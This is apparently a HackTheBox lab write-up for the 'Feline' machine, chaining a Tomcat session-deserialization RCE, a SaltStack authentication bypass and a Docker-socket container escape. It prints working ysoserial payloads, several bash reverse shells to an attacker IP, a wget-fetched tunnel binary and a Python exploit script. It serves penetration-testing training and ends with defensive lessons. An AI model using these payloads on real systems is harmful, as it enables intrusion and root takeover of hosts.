HTB: Feline Writeup
Feline - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Feline |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.44.106 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Feline is a hard-difficulty Linux machine that showcases a sophisticated multi-stage attack chain involving modern CVEs and container escape techniques. The box begins with an Apache Tomcat 9.0.x installation hosting a file upload service (“VirusBucket”). Initial access is gained through CVE-2020-9484, a Tomcat session persistence deserialization vulnerability that allows remote code execution by uploading a crafted Java serialized session file and triggering it via a manipulated JSESSIONID cookie. After gaining a foothold as the tomcat user, enumeration reveals SaltStack services running on localhost ports 4505/4506. These are exploited via CVE-2020-11651, an authentication bypass vulnerability in SaltStack, which provides root access inside a Docker container. The final privilege escalation leverages an exposed Docker socket (/var/run/docker.sock) to interact with the Docker API on the host machine, creating a privileged container with the host root filesystem mounted, ultimately escaping to root on the physical host.
TL;DR: Apache Tomcat RCE (CVE-2020-9484) via malicious session file → tomcat shell → SaltStack auth bypass (CVE-2020-11651) via localhost tunnel → root in Docker container → Docker socket abuse → host root escape
Reconnaissance
Port Scanning
# Comprehensive port scannmap -sC -sV -T4 -p- 10.129.44.106Results:
- Port 22/tcp: OpenSSH (standard configuration)
- Port 8080/tcp: Apache Tomcat/9.0.27 hosting a Java web application
Service Enumeration
Apache Tomcat (Port 8080)
Navigating to http://10.129.44.106:8080 reveals a web application called “VirusBucket” that provides malware analysis services. The application contains a file upload feature accessible via the “Service” navigation link.
The upload form accepts files of any type and submits them via POST request. Testing with a simple text file reveals:
- No file extension validation
- Files are saved to
/opt/samples/uploads/(disclosed via error messages) - The application uses Apache Commons libraries for file handling
- Session management uses server-side persistence
Vulnerability Assessment
Identified Vulnerabilities:
-
CVE-2020-9484: Apache Tomcat 9.0.35 and below suffer from a remote code execution vulnerability via session persistence. When Tomcat is configured to use PersistenceManager with FileStore, and an attacker can control the session file location via path traversal in the
JSESSIONIDcookie, arbitrary serialized Java objects can be deserialized, leading to RCE. -
SaltStack Services (discovered post-foothold): Ports 4505 and 4506 listening locally indicate SaltStack, which is vulnerable to CVE-2020-11651 (authentication bypass) and CVE-2020-11652 (directory traversal).
-
Exposed Docker Socket (discovered in container): The
/var/run/docker.sockUnix socket is accessible from within the SaltStack container, allowing interaction with the host Docker API.
Initial Foothold
CVE-2020-9484: Tomcat Session Persistence RCE
The vulnerability requires three conditions to be met:
- Tomcat configured with PersistenceManager (FileStore)
- Attacker can upload a file to a known location
- Attacker can control the
JSESSIONIDcookie value to point to the uploaded file
Step 1: Generate Malicious Session File
We use ysoserial to generate a serialized Java payload. The application uses Apache Commons Collections, so we need to identify which gadget chain works.
# Install Java runtime if needed# Note: JDK 21+ requires additional exports for ysoserialjava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "curl http://10.10.14.2/test" > f.sessionThe CommonsCollections2 gadget chain works with this Tomcat version. The payload executes a command when deserialized.
Why this works: When Tomcat deserializes the session file, the CommonsCollections2 gadget chain triggers a series of method invocations that ultimately execute arbitrary commands via java.lang.Runtime.exec().
Step 2: Upload the Session File
# Upload the malicious session file through the file upload form# The file is saved to /opt/samples/uploads/f.sessionUsing Burp Suite or similar tool, upload the f.session file through the web application’s upload functionality.
Step 3: Trigger Deserialization
Modify the JSESSIONID cookie to point to the uploaded file using path traversal:
JSESSIONID=../../../../../../../opt/samples/uploads/fNote: The .session extension is automatically appended by Tomcat’s PersistenceManager.
When the manipulated cookie is sent, Tomcat attempts to load the session from the specified path, deserializing our malicious payload.
Step 4: Establish Reverse Shell
Generate a reverse shell payload:
# Base64 encode the reverse shell command to avoid character escaping issuesecho 'bash -i >& /dev/tcp/10.10.14.2/4444 0>&1' | base64# Output: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzQ0NDQgMD4mMQo=
# Generate the session file with reverse shell payload# For JDK 21, additional exports are needed for xalan/xsltc packagesjava --add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \ -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 \ "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}" > shell.session
# Start listenernc -lvnp 4444Upload shell.session, then trigger it with the manipulated JSESSIONID cookie:
JSESSIONID=../../../../../../../opt/samples/uploads/shellResult: Reverse shell as user tomcat.
Privilege Escalation
Lateral Movement: SaltStack Exploitation (CVE-2020-11651)
Step 1: Enumerate Network Services
# Check listening ports on the compromised hostnetstat -ano | grep LISTENDiscovery: Ports 4505 and 4506 are listening on localhost (127.0.0.1). These are SaltStack master ports:
- 4505: ZeroMQ publish port
- 4506: ZeroMQ request/reply port
SaltStack is a Python-based infrastructure automation tool that uses a master-minion architecture.
Step 2: Port Forwarding with Chisel
To exploit SaltStack from our attacking machine, we need to tunnel the local ports:
# On attacking machine - start chisel server./chisel server -p 1234 --reverse
# On target machine (as tomcat) - download and run chisel clientcd /tmpwget http://10.10.14.2/chiselchmod +x chisel./chisel client 10.10.14.2:1234 R:4506:127.0.0.1:4506 R:4505:127.0.0.1:4505Now ports 4505/4506 are accessible on localhost of our attacking machine.
Step 3: Exploit SaltStack Authentication Bypass
CVE-2020-11651 allows unauthenticated access to the _prep_auth_info method, which returns the root key used to authenticate with the master. This key can then be used to execute arbitrary commands as root.
The exploit communicates directly with SaltStack using ZeroMQ and MessagePack, bypassing the need for the salt-master Python libraries:
# Custom exploit using pyzmq and msgpack (no salt libraries needed)# Connect to the ZeroMQ clear channelimport zmqimport msgpack
context = zmq.Context()socket = context.socket(zmq.REQ)socket.connect('tcp://127.0.0.1:4506')
# Exploit _prep_auth_info to get root keymsg = { 'cmd': '_prep_auth_info'}socket.send(msgpack.packb(msg))response = msgpack.unpackb(socket.recv())root_key = response['root']
# Execute command using the root keypayload = { 'key': root_key, 'cmd': 'runner', 'fun': 'salt.cmd', 'kwarg': { 'fun': 'cmd.exec_code', 'lang': 'python', 'code': 'import subprocess;subprocess.call("bash -c \'bash -i >& /dev/tcp/10.10.14.2/4445 0>&1\'",shell=True)' }, 'jid': '20210101010101010101'}socket.send(msgpack.packb(payload))Why this works: The _prep_auth_info method was designed for internal use and doesn’t require authentication. Once we have the root key, SaltStack’s cmd.exec_code runner allows arbitrary Python code execution as root.
# Start listenernc -lvnp 4445Result: Reverse shell as root inside a Docker container.
Container Escape: Docker Socket Exploitation
Step 1: Identify Container Environment
# Confirm we're in a containercat /.dockerenv # File exists in Docker containerscat /etc/hostname # Shows container IDStep 2: Enumerate Available Resources
# Check for exposed Docker socketls -la /var/run/docker.sock# -rw-rw---- 1 root 999 0 Jan 1 00:00 /var/run/docker.sock
# Check root's bash historycat /root/.bash_history# Shows Docker socket usage examples
# Check SaltStack configurationcat /etc/salt/master.d/*.conf# Reveals Docker events integration using unix://var/run/docker.sockKey Finding: The Docker socket is mounted in the container, allowing interaction with the Docker daemon on the host machine.
Step 3: Interact with Host Docker API
The Docker socket provides a RESTful API. We can use curl with the --unix-socket flag to communicate:
# List available Docker images on the hostcurl -s --unix-socket /var/run/docker.sock http://localhost/images/jsonThe response shows available images, including sandbox.
Step 4: Create Privileged Container with Host Filesystem
The attack strategy:
- Create a new container using the
sandboximage - Mount the host root filesystem (
/) to/mntin the container with read-write access - Configure the container to execute a command that chroots into
/mntand spawns a reverse shell
# Prepare the reverse shell command (JSON array format with proper escaping)cmd="[\"/bin/sh\",\"-c\",\"chroot /mnt sh -c \\\"bash -c 'bash -i>&/dev/tcp/10.10.14.2/4446 0>&1'\\\"\"]"
# Create the containercurl -s -XPOST --unix-socket /var/run/docker.sock \ -d "{\"Image\":\"sandbox\",\"Cmd\":$cmd,\"Binds\":[\"/:/mnt:rw\"]}" \ -H 'Content-Type: application/json' \ http://localhost/containers/create
# Response includes container ID (example):# {"Id":"fa5ab671afd818ac6a47e02a60b4d1a8fb8eaa156608a582dbe67a693c603ecb","Warnings":null}Why this works:
Bindsmounts the host’s root filesystem into the container- The
chroot /mntcommand changes the root directory to the mounted host filesystem - Any commands executed after chroot run in the context of the host, not the container
- The container runs with elevated privileges by default when created via the API
Step 5: Start the Container
# Start listenernc -lvnp 4446
# Start the container (replace with actual container ID from creation response)curl -s -XPOST --unix-socket /var/run/docker.sock \ http://localhost/containers/fa5ab671afd818ac6a47e02a60b4d1a8fb8eaa156608a582dbe67a693c603ecb/startResult: Reverse shell as root on the host machine VirusBucket.
Step 6: Verify Host Access
# Confirm we're on the host (not a container)cat /etc/hostname# VirusBucket
# Verify host file structurels /opt/# samples/ tomcat/
# Retrieve flagscat /home/*/user.txtcat /root/root.txtAttack Chain Summary
nmap (port 8080) → Apache Tomcat 9.0.27 VirusBucket app → CVE-2020-9484 session deserialization RCE →shell as tomcat → enumerate localhost ports (4505/4506 SaltStack) → chisel tunnel →CVE-2020-11651 SaltStack auth bypass → root in Docker container →exposed /var/run/docker.sock → Docker API abuse (mount host /) → root on host VirusBucketTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
ysoserial | Generate Java deserialization payloads (CommonsCollections2 gadget) |
Burp Suite | Intercept and modify HTTP requests (JSESSIONID manipulation) |
netcat | Reverse shell listener |
chisel | TCP/UDP tunnel for port forwarding |
pyzmq + msgpack | Direct ZeroMQ communication with SaltStack (replaced full exploit script) |
curl | Interact with Docker API via Unix socket |
Key Learnings
Techniques Practiced
- Java deserialization exploitation using Apache Commons Collections gadget chains
- Session persistence manipulation in Apache Tomcat via path traversal
- Port forwarding and pivoting using chisel for accessing internal services
- SaltStack exploitation via authentication bypass (CVE-2020-11651)
- Docker socket abuse for container escape
- Docker API interaction via Unix sockets and RESTful API
- Chroot-based privilege escalation from container to host
Lessons Learned
-
Session persistence can be dangerous: When Tomcat’s PersistenceManager is combined with file upload functionality and user-controlled session identifiers, it creates a powerful RCE vector through deserialization. Always validate and sanitize file paths, and consider disabling session persistence or using encrypted storage.
-
Modern Java requires additional configuration for ysoserial: JDK 21+ enforces stricter module boundaries. The
--add-exportsand--add-opensflags are necessary to expose internal packages likecom.sun.org.apache.xalan.internal.xsltcthat ysoserial’s TemplatesImpl gadget relies on. -
Internal services are valuable targets: Services bound to localhost (like SaltStack on 4505/4506) are often less hardened because they’re assumed to be protected by network segmentation. Once you have initial access, always enumerate
127.0.0.1for additional attack surfaces. -
SaltStack’s authentication model has weaknesses: The
_prep_auth_infomethod exposure (CVE-2020-11651) demonstrates why internal APIs must enforce authentication even for “helper” methods. The returned root key provides complete control over the infrastructure. -
Docker socket exposure is a critical security issue: Mounting
/var/run/docker.sockinto a container gives that container full control over the Docker daemon, effectively granting host root access. The socket should never be exposed unless absolutely necessary, and alternatives like Docker-in-Docker or rootless Docker should be considered. -
Container escape via bind mounts: By creating a new container with the host root filesystem mounted, we can execute arbitrary commands on the host. This technique works because Docker containers, by default, run with significant privileges when created via the API, and the
chrootcommand allows us to “break out” of the container’s filesystem namespace. -
API-first exploitation: When standard tools aren’t available (no salt libraries, mismatched Python versions), understanding the underlying protocols (ZeroMQ, MessagePack) allows for custom exploit development. Building minimal exploit clients with just
pyzmqandmsgpackproved more reliable than dependency-heavy frameworks. -
Defense in depth is critical: This box demonstrates why layered security matters. No single vulnerability gave us root; it required chaining Tomcat RCE → container access → socket abuse. Each layer should be hardened independently.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup (felamos, Document No D20.100.103) - CVE details and exploitation methodology
- Apache Tomcat CVE-2020-9484 Advisory
- SaltStack CVE-2020-11651/CVE-2020-11652 Advisories
- Docker API Documentation